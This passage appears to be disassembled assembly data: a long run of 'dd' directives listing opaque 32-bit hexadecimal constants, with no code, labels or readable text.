829BF8E3h, 41D2B790h dd 7F3D3300h, 0A12254DCh, 628A0708h, 0F0018DF9h, 0E83CF350h dd 9667B83Eh, 0F8007068h, 31250D6Ch, 584813EBh, 0D2084B06h dd 3E10F403h, 0D40A1100h, 5AA40429h, 9805A26h, 6000CCE0h dd 0E542F032h, 0E8058A01h, 5335655Fh, 0C056E0h, 0A33B25B8h dd 542B7416h, 93333D3Dh, 0B500AF65h, 0F6251896h, 0B4CB0403h dd 0B92A664Fh, 857E007Ch, 7DC65CADh, 42CB01Eh, 426B2553h dd 0E794F0CAh, 0E9340A00h, 0E85041AAh, 0C15A00AFh, 28D50766h dd 0D0093CFh, 8436EE10h, 2C8D8364h, 0A8AADEh, 79A0019Dh dd 62015AB3h, 671D2B75h, 4BFC7035h, 56230C2Dh, 0A31034DEh dd 1FD5A503h, 0DDB720AEh, 12659C03h, 62313C9Eh, 0B2C7158Fh dd 0D5D380FEh, 3E4C2C1h, 0EF466A00h, 5C0810AEh, 0F77001Ch dd 53D451B3h, 0B9006238h, 0DD065A88h, 0ED3B29Fh, 23540515h dd 0CC8E4EC0h, 70003C9Dh, 5E4AAC56h, 1A888C5h, 22524813h dd 70B7B307h, 90002371h, 531E5033h, 0F3D8115h, 6529FB36h dd 9DB878E0h, 0C018EC22h, 0BC41EB21h, 904A583Ch, 79FBF700h dd 7E42881Eh, 0EA9D2800h, 0AD63D6E7h, 43C80F84h, 18A01AF4h dd 0B2032A09h, 0F25AB01Ch, 0CE1F02C0h, 0E58EC86h, 772A2BEh dd 0AE001CCEh, 9B3B7F8Ah, 0F2652600h, 0CC159063h, 0F82C389Ch dd 0F5FD3EFBh, 0D0807BBAh, 914749AFh, 8008993h, 0E0C506B2h dd 76FED9Eh, 755C55ECh, 5001B088h, 5E00A431h, 0A0025712h dd 0C1E9CFh, 368CCE35h, 6E4421EDh, 89B938h, 2D3BFF91h dd 4F736Bh, 36F8EE3Ch, 6C1E9564h, 0B32BF000h, 41BE3028h dd 0A405019Fh, 1FF92DDDh, 0E1E0C223h, 0D8FA32EDh, 0C7BCAF00h dd 6DE13368h, 35D902D7h, 69B405D4h, 0A1D060C0h, 8504931Ch dd 58DFC080h, 2C6596E2h, 2330584h, 1CB1E3ABh, 7404B45Eh dd 90BC754Eh, 240CC04Ah, 97011A2Dh, 40AB1E2Fh, 0A3CC2EA6h dd 434500C9h, 0F086BCF9h, 0BE016EC8h, 0CA5016DFh, 1AFC7B98h dd 7E8E675h, 0D795665Ch, 10AF906Ch, 0B10B4A79h, 0A074EFE2h dd 2F21F600h, 724D035Dh, 66247C06h, 1308180Fh, 0BE9D030Eh dd 7B103C61h, 514E0C00h, 845D90DEh, 0F97C30F6h, 0BD98B23Eh dd 47EF0015h, 0E66411AFh, 0F5E3002Eh, 0DE1F2D89h, 2F0020A0h dd 3F4A9057h, 0EA97241Eh, 323E1F21h, 65A000FDh, 677A769Ch dd 806F6A3Bh, 62B61A94h, 0BE357Bh, 51FE4BBAh, 0EEE1725Dh dd 98487409h, 0D7FCC0DCh, 0B5473A9Fh, 159E0F03h, 82CB3188h dd 0B013582Ah, 0A8A29900h, 600E1AFBh, 0C637473h, 2DD2E16Ch dd 4B001620h, 0E5111406h, 730AAEAAh, 1978003Ah, 7080D56Fh dd 1B00B0EDh, 2CB5F6FFh, 34A2F62h, 96288C25h, 0F0F7E068h dd 89E9AD35h, 80885C3Ah, 518D435Fh, 370155h, 877A123Ch dd 78F3F1E9h, 476AD41Ch, 45764180h, 3192CAh, 0B6CE210Fh dd 5A894AEEh, 4F3FEF12h, 9E370400h, 0D13065h, 0C85B85FFh dd 2022DEF9h, 5240B000h, 27C7F028h, 1E5A3C65h, 6A548707h dd 84617017h, 0AB005D40h, 0F8CBED33h, 0E6992BD0h, 75571F8Ah dd 3E34056Fh, 0AD845437h, 0CA085A00h, 9881A3D1h, 0DB4AC024h dd 9EEF3000h, 1861F7h, 5F8EA294h, 0D6AA097h, 0FF621709h dd 0C12C207Ch, 5F0AF68h, 5F1B5AB6h, 0EF36C013h, 3D607828h dd 75FA4768h, 14F2E816h, 403F0C6Ch, 368FD60Bh, 4551D03h dd 6E809DD8h, 77F8CD02h, 0E0E36273h, 427D3DEh, 4B4913D7h dd 60B0F0BBh, 47E1BA0Fh, 5EFC62D5h, 0DCF4C055h, 43F26Ch dd 0BEC6616Bh, 0D4E16DC7h dd 77A6F901h, 0F7C9A802h, 3ACFAE0h, 0D8E363CBh, 4BC8AE4Ch dd 20921AA9h, 93D14E00h, 97CB3F95h, 31A100C1h, 0CC660996h dd 627BC854h, 139E2902h, 0A07B5635h, 2536E084h, 1CFAA5h dd 1D77DBE1h, 16722FAFh, 560FE500h, 3A5946A9h, 0A0BF0A22h dd 0E1841Fh, 0FEAA8AF6h, 9DB8AFBBh, 3841F909h, 2F18B43h dd 0DD2B038Ch, 918D2300h, 6AE83A9Eh, 7C4ED500h, 0B58958F0h dd 41BC3C82h, 0F280D000h, 305D2E74h, 0CABA5F00h, 73CB2B0Bh dd 9FBC0035h, 802A50AEh, 0A53C4DD2h, 9AC88014h, 0A13EAA7Ch dd 0BE8500D4h, 5773BF51h, 0B23B8880h, 0A36D8048h, 0E06FB1CDh dd 0BE8A075Ah, 0A0A78BAAh, 4D9C726Bh, 0BA57DD03h, 0C0C2C077h dd 11544Eh, 2BE0E247h, 164C639Bh, 0B3805A02h, 8FBE9E1Ah dd 0AF049480h, 11B86B18h, 0BA076CB7h, 5D74299Eh, 174BA00Fh dd 77A547C0h, 0E6AB01B4h, 2AB76499h, 492990BDh, 0A2FFB282h dd 22207F04h, 45819FDFh, 0FC440E08h, 83328493h, 103151D0h dd 0E789FD42h, 0CF628C08h, 27010D29h, 0BB900891h, 48D20C84h dd 9B442F9h, 0C921CF24h, 10F512D6h, 0F1C4F416h, 3900FD23h dd 742C8662h, 0E042B500h, 67EDE1C8h, 0B3FA44h, 58878A52h dd 0D414F6EAh, 0F015000h, 0F869907Ch, 0E7F50044h, 2A2CEBA0h dd 0D5F0857Dh, 0B7B0E602h, 6018F607h, 12AF0B16h, 966A83h dd 3864740Ah, 24000239h, 3F18EE48h, 0A0BA3Dh, 9A32058Dh dd 0D2966629h, 7A40C538h, 9725Ch, 0F30CF4F9h, 0E2685Bh dd 4F04D297h, 0B119CB55h, 0D3492C0Eh, 80BEFDEEh, 0E31F0D22h dd 183D2A1Ch, 1006A22Fh, 0CA0883B6h, 1014A17h, 0A4BB027Eh dd 0CB29D018h, 657B8509h, 6C2021C2h, 6D304FC0h, 5A910192h dd 5B3442EEh, 0C4FCDC86h, 3E71CD07h, 0AE90662Eh, 7111224Eh dd 6890023h, 0C6B5B408h, 3800BFE3h, 1C3103B3h, 1D6DBEEh dd 0F4E43604h, 0E47F2D05h, 0CF182765h, 44789CABh, 0E9CD00D2h dd 0E406827Ch, 0FD00B4CEh, 0E8735BB1h, 75A8CAA5h, 0ACBA00A6h dd 0CF263F52h, 10C002E2h, 6A68B0DDh, 0D27A0E8Ah, 314EEA15h dd 630143E3h, 0B6B83CD3h, 8F003FBFh, 0E27EE188h, 9F344B2h dd 5D62CC8Eh, 0E3388E5Dh, 79F9E755h, 7995007Ah, 9D16898h dd 8C0050EEh, 635BBC53h, 7F344E6Fh, 25300185h, 29FF10DFh dd 0FDC88080h, 5851B4C2h, 157F0071h, 0AB18DD8Ch, 0CC091ED8h dd 85521F47h, 68800AA6h, 62252Fh, 3C2D6CA9h, 0E475B673h dd 0BDD81800h, 0B9F9B09Ah, 2CB3481Ah, 0E2573A09h, 5227FC80h dd 6A004C43h, 7F329705h, 78C2175Ah, 0EFEEB9h, 0D3569CF2h dd 86AA87D6h, 33905807h, 0D2402882h, 60A16Eh, 0CEC44E70h dd 0F03CF80h, 77FCA500h, 28195B87h, 0B5B23E99h, 682200F0h dd 311FD504h, 15009224h, 47D8B487h, 7DE7479h, 0ADAFB90Eh dd 0E4BCA007h, 85024ABEh, 839C6742h, 0C34860A3h, 0D5D400BDh dd 0AD326B0Fh, 751D4F94h, 9340E2F1h, 0C9173D42h, 106E2F6h dd 49A4C38Dh, 21D5239Bh, 7EA05088h, 5600AD54h, 7F34781Dh dd 0FED1594h, 9AD348E3h, 67229D00h, 0E898F94Bh, 3FB07907h dd 33002F8Dh, 9FAA42Bh, 6296787Ch, 428A3000h, 0BB72BDD5h dd 56BE3E30h, 1D278850h, 0CFFBD1E6h, 0DB255F06h, 5BF20092h dd 1146F0B9h, 96006E76h, 0DA896131h, 581DB4h, 6AA43D97h dd 4020928Ch, 0E09BA7Dh, 0D4FA047Bh, 0F23C48h, 187A9772h dd 7FDFBE98h, 9274A400h, 4E3E5735h, 0D8E0E1h, 6EC6AEDBh dd 54055BB0h, 0E2001479h, 916BF7EEh, 770A162h, 0BB26B152h dd 0FC10B01Ah, 2F002999h, 0DBAA897Dh, 1030E78h, 55045EB1h dd 802D2274h, 94A96DD8h, 636583h, 0B617DA6Eh, 4D35C9AEh dd 0EF05CE78h, 6B5CB411h, 61BBB800h, 1E2C0229h, 0C0FE7C26h dd 0F8F20F5h, 7B00F401h, 0B63703D3h, 58552h, 411ABD71h dd 0A3E7078Dh, 0C989A600h, 0DA77C76Ah, 18041469h, 74DEB2h dd 0C34C1BCAh, 387D9578h, 33119A00h, 156D2BF1h, 1B213BD9h dd 2F626C80h, 7BCE4E3Ah, 0A3D47412h, 0E8CBE000h, 1BBB84h dd 0D09D20Ah, 29A70BCEh, 0DA1AF200h, 13C9AF01h, 784C00BEh dd 7C2159D9h, 44908965h, 50976E00h, 80D7531Dh, 10FB00B0h dd 24C672D5h, 6D2C3F51h, 0D60088B2h, 0B736FD35h, 586245Fh dd 0A6C381E4h, 0CC01D4CDh, 0F0EA4F44h, 9F1FC700h, 9AB81306h dd 0DD6C00C0h, 0B3E5CBECh, 250005E7h, 0A30C8208h, 28B094CFh dd 0F880E60h, 34B3B1FAh, 872A8940h, 0A0982E91h, 0E1AD3Eh dd 0E31E9DF0h, 0E88FD505h, 0F87004h, 7BB1C6FDh, 0ABD925DCh dd 43941600h, 0DAB8BD91h, 8C230354h, 7533AE93h, 0E4903AD8h dd 0CC59A109h, 0A0C42F01h, 2E057EB3h, 0D8DE262Bh, 0A2D700E8h dd 45C9A7Ch, 0E832F3Fh, 60B3BD5Eh, 47D4FD72h, 0DFD10094h dd 8C60E328h, 5A00A538h, 1E05D279h, 6BF15Eh, 4DDA9675h dd 0EF475C71h, 0C03B1C90h, 4B0F81FFh, 1DDBB1C4h, 1F8F7EE8h dd 40305F6Bh, 0AF0C11FCh, 0A963E339h, 991DA1A0h, 676192E8h dd 867F5400h, 0AFC7687h, 23D1C66Bh, 0B6EC00B8h, 13A330F5h dd 1744E007h, 0A8E08B4Eh, 599B73h, 1A493982h, 8916FF53h dd 5C23100h, 0F4BE48Ah, 460C009Fh, 1E8434A4h, 7750A2D1h dd 191FBC8Fh, 0B99EE2A1h, 1340F0ECh, 16BDB51Bh, 5FC36Eh dd 0A3281246h, 4E009229h, 0D3DEB6B9h, 0C0A886F6h, 0ACE5A6C8h dd 9B0053ABh, 0FE16B44Ah, 0DFF4F8h, 9D70D235h, 0D08E8C84h dd 75AFFA5Ch, 69889600h, 4B6E5E77h, 0E7F83Eh, 0A0ACFD0Bh dd 0AF2CF9E8h, 2A50E8C0h, 4C2465DDh, 1900A48Fh, 0E89304B4h dd 0CE319D36h, 22561942h, 0EA92B0E4h, 9C350077h, 0A8D338A1h dd 72FA09D0h, 4B655407h, 2C80F64Fh, 26B6CACh, 11906926h dd 16C04C70h, 0AD008DDBh, 7C507F4Fh, 0AC0E64h, 0CFFBB55Dh dd 0DE3F6EC3h, 0EBD43024h, 80933E00h, 9D2A06h, 1EEDEAD6h dd 90DE9C5Ch, 4DE41900h, 0A466ECD0h, 0CC812CDh, 0E648008Ah dd 0AD5CACEh, 880ECFF2h, 200E29D3h, 0F75E9F91h, 0D1F50145h dd 3A6C6DBEh, 7DFECC7Ah, 0DC368D07h, 9570CB05h, 3F254912h dd 0A980C74Eh, 69C15CFh, 593D26BBh, 0DF2C00C1h, 2F0219DCh dd 0DB4A0BADh, 4420068Ah, 0F161EF0Ah, 3C79BF01h, 20DEAF3Fh dd 2C729DE4h, 3DE888DBh, 37B0D0h, 0A249BF7h, 1859EC85h dd 1A86650h, 21CF7B02h, 408B5514h, 0B60754h, 8279AA8Ch dd 83647F62h, 0D9944D05h, 3680FD9Ah, 8D859Bh, 0B256AB17h dd 0F4AEF342h, 7EA0E550h, 0F33BC00h, 79AB291Bh, 94C800FBh dd 0C7187085h, 6063F2D9h, 0F8A9E828h, 769BC59h, 38E178ABh dd 4FD44066h, 0CE001234h, 58FA4B83h, 725970h, 13448D11h dd 0B63BA1F9h, 0F200F4B8h, 0BF15D912h, 60B156h, 0E6748B62h dd 0EC2C653Ch, 0BB30D800h, 28B60C3Ah, 0DB0100F7h, 0A1C3B3DAh dd 4B005F9Bh, 3829724Ah, 1256FC13h, 8B9055h, 8E662454h dd 391FFE93h, 0F7CBDF35h, 0B1E58767h, 0F0B4C08Eh, 0C1AC80h dd 0B80A1848h, 0F5F9BCEAh, 0FAA31900h, 9CF87CBh, 0ED080263h dd 7172419Ch, 0E5D5CC83h, 1CDE09F4h, 0ED350E84h, 1A459A9Dh dd 4AC80087h, 67444876h, 3FEE4700h, 5E7055E3h, 24981Dh dd 318D5A92h, 0C93E1AEDh, 343F3Bh, 0E07B3A99h, 30664AFh dd 978798BAh, 6EB00F69h, 892C5A5Fh, 9B17E417h, 2049A50Eh dd 0B153229h, 0BBCD00DBh, 82A292E6h, 51023F9Ch, 0DEBFF028h dd 4E006929h, 0A0E8CC8h dd 0F6D443BCh, 42800A0h, 9EA8E8EEh, 0C400E4B0h, 5BB667EAh dd 1CD60DC6h, 447874CAh, 0C19A985Fh, 0D0E28DBAh, 69004A36h dd 0BE9B1D6Eh, 28786566h, 18C93ADh, 68587ED0h, 603C6A86h dd 190421F4h, 0EE9EDEF5h, 0CDD4ACD0h, 8B2E4407h, 0AC19800h dd 4CF9DC7Eh, 377D2Fh, 0E1A46779h, 55B8EC0Fh, 36F75A00h dd 122FB075h, 95C401E0h, 5EB59BCCh, 133C2054h, 0F3FED508h dd 0C0AA05EDh, 3CFC1418h, 32C93600h, 0F20BE3E9h, 2EA66601h dd 2650AA8Bh, 0ED7170h, 7C081CF4h, 5E308F6Bh, 0EF18A701h dd 0A9FFAE06h, 0B795E8h, 333C4D55h, 8EBB891Ah, 0B9E23C90h dd 1800524Ah, 0C3468AD8h, 5D891EAEh, 0AF1F0095h, 6E497F45h dd 250051E2h, 9E79AC6Bh, 4B312360h, 0B7800382h, 16CDE68Dh dd 7D3700A8h, 7D27A94h, 0FCEBC204h, 0A8D0BD6Fh, 2C3FA8CEh dd 14E7A4h, 84479888h, 0CC762F01h, 147A7500h, 0E1EEF3A6h dd 5B8CA0D7h, 93530068h, 73DEB7F7h, 6E0C2533h, 8149C0AEh dd 0D5EE00DDh, 9F513971h, 0BD046D35h, 0FEBACA38h, 33FFA1C1h dd 0EBD470h, 40F1FB1h, 0D4DC883h, 96905800h, 0BB378455h dd 0D0BA129Fh, 0A866001Eh, 745A07B7h, 44130300h, 42865724h dd 87043F01h, 0C15C9407h, 0B611D0DCh, 903B4715h, 46A500D2h dd 0A4FB0AF2h, 892C001Eh, 0FD9F0B1Bh, 0D7025196h, 5DA0F034h dd 87E46063h, 1E152782h, 6D9E3C80h, 0F498B551h, 3F5A1612h dd 92A93C80h, 31C10108h, 0CC68AFB3h, 486BD0E4h, 0FDB03013h dd 8A761400h, 50E9B62Ah, 79ECA0h, 83705D9Ch, 1BB0C546h dd 0FAB4DC00h, 4213C6CEh, 0D760Ah, 44CF043Fh, 0DFF19C30h dd 3CF3645Ch, 0C9268010h, 397F4238h, 2DA729Bh, 0B805FCDEh dd 0AB815C4Dh, 712E3776h, 0B2B08105h, 0E7193C5Bh, 0F4AC7DD8h dd 95F102C4h, 0B0D28C9h, 0F257B481h, 3DED60DAh, 334BBB00h dd 89218369h, 0E280BDB7h, 3B93F085h, 1304D00Bh, 2F4C001Ah dd 86C0A695h, 1082C907h, 0E450318Ch, 9CAD84h, 0ECE9643Ah dd 5A0BC4A4h, 801BEF39h, 462E5F82h, 13694EC0h, 0C4BA0D51h dd 8A6980F8h, 0EE04435Ch, 0C3A45BEAh, 0A1A3F2C3h, 0B8F0C1D7h dd 2B0E05D1h, 0A053124Eh, 8626F3B8h, 2C800C83h, 0C9D1F218h dd 1BA90EC7h, 0CCE5B3ECh, 82F60AA8h, 0DDE200D4h, 8DF14493h dd 3B785A4Ch, 0E3AC801Eh, 0CDC9D667h, 487B01E8h, 0F336EB0Eh dd 3B32E409h, 63EF2A00h, 0CCF0F6E7h, 85D10B1Dh, 0C880533Ah dd 49172634h, 89C90612h, 6E5D1C00h, 0AFF352h, 0F2B51ED1h dd 3848B83Ch, 7E5Dh, 6BDE34B3h, 8E2331h, 0CF49038Ah, 1E0FDC93h dd 0B804DB0Eh, 5121A239h, 2847DC98h, 0F3DA0B80h, 6C000C83h dd 6F26C2CCh, 9012E100h, 0B8E26E6Ch, 0B70E0350h, 8CBD61C1h dd 2A47C3A9h, 0F3D15800h, 26658E26h, 9E148358h, 22BA1D7Dh dd 27CBACA8h, 58A235Ch, 4CCFE1BBh, 701BF5C0h, 7C493B58h dd 9F00CCCCh, 45384A48h, 0C900F1BEh, 0CF0C7A5h, 1F87A9F9h dd 44FE300Eh, 0D5CC6399h, 449180ECh, 70EAE2F4h, 0B600A490h dd 68A34BC3h, 189A51BAh, 6171293Ah, 0A000D4CEh, 0B539BF52h dd 78E72EDh, 0B044F173h, 0B0F305Bh, 6A90800Ah, 5A00F27Ch dd 3A798298h, 0E891A7A1h, 0DC0700AEh, 0EA4D107Ch, 380016C1h dd 5D3585FAh, 72FB496Dh, 370800B8h, 8357D33Bh, 2B007386h dd 8F9F07B6h, 1F1E33Dh, 253CED4Dh, 0C03E4882h, 6400DBABh dd 5906512Dh, 976B83h, 86D236A6h, 44CD4230h, 38B31B05h dd 6B802F87h, 0DD8A88h, 0D2A62966h, 0FC75E319h, 0D61FF917h dd 0BD0B8400h, 0B0BB54h, 52E54A7Dh, 0C5B2F531h, 0D7DD1400h dd 0FCA2B4FFh, 96DC01EAh, 0AC470C2Ch, 803ADD31h, 74B8DF81h dd 9E4D99h, 0F5D9A7F0h, 4C42DAD5h, 55AA6A00h, 0B6577787h dd 8D402495h, 628400F6h, 0D1A50786h, 6B2E5A05h, 8C01BA6h dd 88AAC3h, 0B517160h, 85E3330Dh, 9A0015B0h, 87647ABAh dd 0FE324069h, 505900C4h, 909EFB4Dh, 0ED0028C8h, 22A0D3C1h dd 0F3042Eh, 0EF84FACDh, 4C8031D2h, 5F5D0800h, 5A07A1Dh dd 90DA094Fh, 618051F7h, 5A851F8Eh, 0E4DE8300h, 15013368h dd 7DFD00E0h, 0D5EC3D7h, 89033096h, 2588EE62h, 876198D3h dd 90C900A2h, 39DE243Ah, 0E603F522h, 0C247162Ah, 0BFEC9D0h dd 7290D1DCh, 0A4D600BFh, 0B19BCF2Ch, 4C0015C6h, 0D587B4BDh dd 0F2FF63h, 3712E2E3h, 60AA8D2Ch, 509AA907h, 0F97B723h dd 21602616h, 0C80145Fh, 0DF30E4Bh, 0A94560B9h, 64FAB40h dd 0BA1B5A17h, 0D6640FFAh, 1A980760h, 0AD0785F0h, 0A796AFCCh dd 8A0646h, 0D6AF5FAh, 1AF471E4h, 0E231DA01h, 55EF9705h dd 3A8A60h, 8335073Fh, 0C7ABF6Eh, 59C3FF00h, 0D5FB818h dd 1BECBDh, 577430EEh, 9C3F80E5h, 0E6CB9100h, 0BF64AFE7h dd 78B100ABh, 850ACC03h, 1F0189FAh, 5B3E9929h, 39CC501Bh dd 0A1ED00D5h, 0E8526B12h, 0CC00ECC2h, 0CB7E8F6Ch, 3810EF2h dd 4C7D373Bh, 4F85AF8h, 1800EAF4h, 0BB85E0D7h, 2DBE8Fh dd 0C0CAF650h, 9FDAC3DFh, 0F8003E79h, 5895E232h, 2BA08Ah dd 245674BFh, 9E701F9Ch, 0DF591B00h, 52458794h, 81E709CFh dd 0A8801C2Bh, 0F5F9FA8Ch, 0F75F2A0Fh, 0F2C09DF0h, 222F49F6h dd 68F630h, 5A9975D0h, 6C79208Dh, 28F8FD30h, 8FC8DFh, 885D9D97h dd 2229319Bh, 0E8210828h, 0E16F622h, 64D91A7Fh, 0CCC1D6AFh dd 0C01F66A1h, 7900DB09h, 7E715013h, 8D2D73h, 9110A6F5h dd 80E3FA25h, 0B30B5500h, 0B54C0413h, 0DB8A0F3Dh, 0A7AE8D6Bh dd 499E7D80h, 5307F523h, 0A99211D0h, 0F2C11F90h, 2A170005h dd 8EE6214Ch, 0B6008937h, 0A2BE3D23h, 18323997h, 0C40B487Ah dd 0BB0FDF34h, 8B84BFh, 6F132988h, 0E7D9004Ah, 0C9E62F9Eh dd 5F7F21AEh, 9BA43000h, 59044929h, 12B8DEh, 33790508h dd 0D067D3AFh, 0FF884107h, 2642FDACh, 7C6440C8h, 7B390037h dd 9BF7C9EEh, 13770A92h, 47FA5B00h, 1AF30E6h, 73B03865h dd 9A9CC280h, 0F5A8EC32h, 0F61C8200h, 0D202AD9h, 42890FE0h dd 8F0F9619h, 0E635E120h, 0BC00234Ah, 0F13B5259h, 847C9Eh dd 0F5BED32Ch, 17E52A75h, 7178D700h, 0E2FE825Eh, 0E39403DAh dd 0A9CD914Fh, 1040439Ah, 77000CB8h, 5B7B3618h, 175E9Bh dd 0B2ADAC8Eh, 0C62013FDh, 0C81A48h, 55A10931h, 885F37h dd 3DACC92Bh, 181EDBFCh, 6B004FB8h, 0E83AC156h, 7316B9h dd 0CBFE1D74h, 52A11C3Ch, 0AD065924h, 0C1004B17h, 9326C8BBh dd 108D0022h, 54D579F4h, 0C100996Ah, 0F9D721DDh, 2A6BA8C6h dd 0FCB411h, 66A55DB7h, 34539654h, 3C55CC00h, 1E6D6C2Fh dd 5BC8010Ch, 2D40AD5Fh, 66F7410Ah, 0DF02036h, 642C34FDh dd 0B0846703h, 0C0E3030Ch, 249CC01Ch, 8014A73Fh, 4253A816h dd 1300836Ch, 0F61860FFh, 0FE646AB1h, 96E307DEh, 0C0C4CD9Fh dd 6816BBFAh, 31888700h, 3DDC8AC3h, 497D004Eh, 0D82C0811h dd 0A301867Fh, 30C9908Ch, 0FA80B0C0h, 871D63C2h, 2900B5EAh dd 83FF1A61h, 73FA10h, 3D42699h, 0A0A3F8ECh, 7800047Bh dd 7462F04Dh, 2594C77h, 0E8BF55F3h, 95608184h, 400EA7Fh dd 51894B25h, 0C068B07Eh, 965CDAB1h, 8C00B659h, 2E7F0A79h dd 297D9E5h, 749F702Ah, 2840E74Dh, 0EB3F21A4h, 0E65811h dd 96BB145Ch, 0F55AA2h, 40BE28DEh, 0E5AA300Ah, 7803BA00h dd 0B5BFE61Bh, 0A92900C1h, 55B089EDh, 2E1D335Fh, 59D24352h dd 45C42800h, 0E99F8CAh, 0E6348D91h, 0BCE439A0h, 0D00376B6h dd 0F8AD4D35h, 878B89Ah, 0CCA301B4h, 19BCFAE3h, 6004DC5Dh dd 9547EB01h, 232C1021h, 923E0460h, 0B7E43940h, 9BE98E80h dd 0E75834F4h, 0BA01F6FAh, 29F3A756h, 60CE458Ch, 9EBDCC5h dd 47772F21h, 583BB78Eh, 584616D8h, 0B0E9BF00h, 5B38E2C6h dd 0B809786Bh, 0FBDC04C2h, 8058CB73h, 8BBEE644h, 64DF1800h dd 0AFED11E9h, 49040F7Dh, 0BAE33C73h, 0CAA91714h, 4C6218h dd 0AA13A2B9h, 44E19Dh, 6FF8629Bh, 0AF07318Dh, 574B3D00h dd 7ADF16DBh, 0E8C80008h, 0F7D13B8Bh, 68125DC5h, 0FC5DE922h dd 0A045BF87h, 982EFA70h, 2802E8D6h, 3EE49BB9h, 183EF69Eh dd 86660C07h, 0A4388C1Fh, 0C6DB1400h, 0E022C92Eh, 33EE835h dd 0E6F2BF09h, 10002DE1h, 3FF4F8CEh, 7DE22C31h, 0BD2800D3h dd 136F4426h, 98792F78h, 9E0615E6h, 5ECBFAFEh, 0A8180024h dd 0C0D42416h, 250012F3h, 9548A2Dh, 3307319h, 69C56F61h dd 0B0046AFFh, 0DB26A033h, 35C3EC90h, 588B00FEh, 311B1F84h dd 250E6F1Ah, 60A9A43Fh, 28D6B38Eh, 7D8300C5h, 29D05D3Ch dd 4801E0DBh, 69C42624h, 0F8FC71B0h, 49933F0Ah, 473A2A80h dd 0CDD78615h, 4A8F0507h, 0ADC02112h, 38FDF979h, 92073653h dd 60376928h, 3D2BAA98h, 1AEC7B00h, 22A113BDh, 7D3F664h dd 9AC3B033h, 0F8FE505Bh, 731E9909h, 5DC1E679h, 0E2CE0247h dd 3F2B54A8h, 7BE863h, 0A2E01B0Dh, 8C2C55CFh, 805EBD3Dh dd 0DA3DD6F7h, 0FBC1A7h, 4882116Fh, 248A7FE9h, 0D6B40C07h dd 0DBD39A49h, 30E7E93Dh, 541AD3E0h, 698D8h, 5E8A6633h dd 65EA0D04h, 4AEC09C6h, 19260020h, 0E0971266h, 0A61F71CCh dd 0EA40CA60h, 527A2D56h, 0F9F00137h, 0B82104DCh, 0FC39ACBEh dd 20290E03h, 0DAC9B8E0h, 0C6DE3AC8h, 0B217330h, 340129D6h dd 0F79B8B06h, 0C9F9CFDCh, 0FFA2870h, 0AFA287E1h, 24DB687Bh dd 0D1ABB000h, 9BFC3405h, 30B172CCh, 4A5148EAh, 2718F2B9h dd 3112481h, 329701C1h, 46FABE98h, 830C7A6h, 0B9E4214Fh dd 1877C97h, 287D8431h, 0EDBCC3D2h, 5058B2ECh, 97C0302Ch dd 962A5C90h, 4E4428FBh, 97BC00EDh, 7DCF245Ch, 25005847h dd 0FA06FF6Ah, 359D39DCh, 7D0F8E7h, 43928FB0h, 70C055B6h dd 6F0082A7h, 5212B43h, 1897C71h, 40780D67h, 0F1C66DCAh dd 3E4460F6h, 0BF0007F2h, 1D7115BAh, 71692D81h, 483A01EEh dd 9F945514h, 4723E4EDh, 2618E360h, 0F6F08653h, 0E6E01CA5h dd 815241D9h, 9F79430Fh, 0DD407438h, 7357061Fh, 0A3EA0E41h dd 0C56076DAh, 4D3AB14Bh, 0F0E88E00h, 70FCB38Bh, 374700BDh dd 769F01A5h, 0A6A2642Dh, 2ECB86C0h, 0E4B98E00h, 2093222Ch dd 5F1F078Fh, 0F03F60E9h, 0AE530581h, 4762CF1Ch, 0C74A828Fh dd 0A850E0A4h, 1D16E3D9h, 5A997F8h, 0C02B14F6h, 0B911A601h dd 330CEF01h, 4F929324h, 0FD9870h, 0EEECCA70h, 4B3EFF07h dd 0C73AC800h, 7F72D7D1h, 2AF4F8h, 0CB52ABEDh, 0B16F5FDCh dd 3820E400h, 71593CD1h, 757E000Bh, 5840FCDDh, 0F700A582h dd 9F369E61h, 95BEC6h, 8459F21Fh, 2F4A42F8h, 0C3004A98h dd 4F866C65h, 6E6EC9Dh, 0D4EF2935h, 370030C7h, 3BACB3B9h dd 2ABC9080h, 0CC7445h, 5723029Ah, 8D251906h, 1FB36A07h dd 0C5C05E3Dh, 0A086D154h, 0EE7EA4h, 0A6739332h, 0A40DC3D8h dd 6DA0F601h, 7D457898h, 6210F0h, 8F33B027h, 0F677DA58h dd 2118A0F0h, 0B2703BC0h, 664507A3h, 63407128h, 51D0AF58h dd 81905417h, 0EF777D00h, 44CC6E0Ah, 88211E26h, 0AB70C0B5h dd 0B39AD209h, 0C4AC4B00h, 81C5A855h, 1816007Ch, 0EC0E0792h dd 0B53934EBh, 991D7E85h, 0AD80CC62h, 0E9701EEAh, 2A0B030Ch dd 0FD6A2656h, 0BC995CF0h, 0AAA8B700h, 58696B49h, 0D2F305E9h dd 0EF078970h, 96B9F480h, 0ACAA0117h, 1EA9C584h, 0FCCFED59h dd 7C281F1Ch, 31058272h, 5FDD6091h, 0E526B001h, 34EC952Bh dd 2EC9002Fh, 0ED3651EEh, 22009F3Ah, 7E96F8BFh, 0BA210Dh dd 4EB3E68Dh, 3E4D1F04h, 0FC409703h, 80CF8A51h, 48BCBD74h dd 0A00B5C23h, 2383B939h, 0D087B121h, 0EA2C9DD2h, 5E7C4B00h dd 35549592h, 51BA0122h, 0F3165ACEh, 0E2C0CBCAh, 0A3183BFFh dd 0E68947A5h, 2C820CBBh, 0C4A8C541h, 0ABE2B00h, 4F4AD147h dd 1F700B7h, 0EE577367h, 0E0077856h, 0BA247AD8h, 0F805FF53h dd 0E9D73Fh, 0FA0F361Ah, 92A55276h, 0C000C57Ah, 0DDA2ADD4h dd 1C3FC8B8h, 0C08C49CAh, 0CE7B5D3Ah, 8400AFBAh, 3779C04Ah dd 1F10509h, 63B026B3h, 0D46BB26Ch, 0E905E684h, 7595314Bh dd 9B103B80h, 0C0EE60E8h, 0E280B8C1h, 6D70511Fh, 6B7CFBC0h dd 928FF72Eh, 835A00F4h, 1030D27Fh, 8A004BD9h, 0E4C95D58h dd 7E0431ABh, 7B70924Fh, 751B1306h, 0BE1C40CAh, 0D2E98D41h dd 0E35A8100h, 9269DB6h, 0F8F00060h, 0FBF63593h, 18011571h dd 68143B4Fh, 0D450D1E1h, 61B2E322h, 0CB668C4h, 2BF4D4CBh dd 88379A00h, 60BF2015h, 0AC483931h, 62227900h, 0EA442F02h dd 512C2E1Dh, 154B5EC0h, 1E53490Ah, 0DED6CBh, 0FA8473BFh dd 920F1AD1h, 670929AAh, 6050C94Eh, 59F3ECh, 235E273Eh dd 712A2673h, 1E034F00h, 281F414Ch, 172F00BBh, 8EB09F30h dd 6E008D23h, 82E298B8h, 77FAC244h, 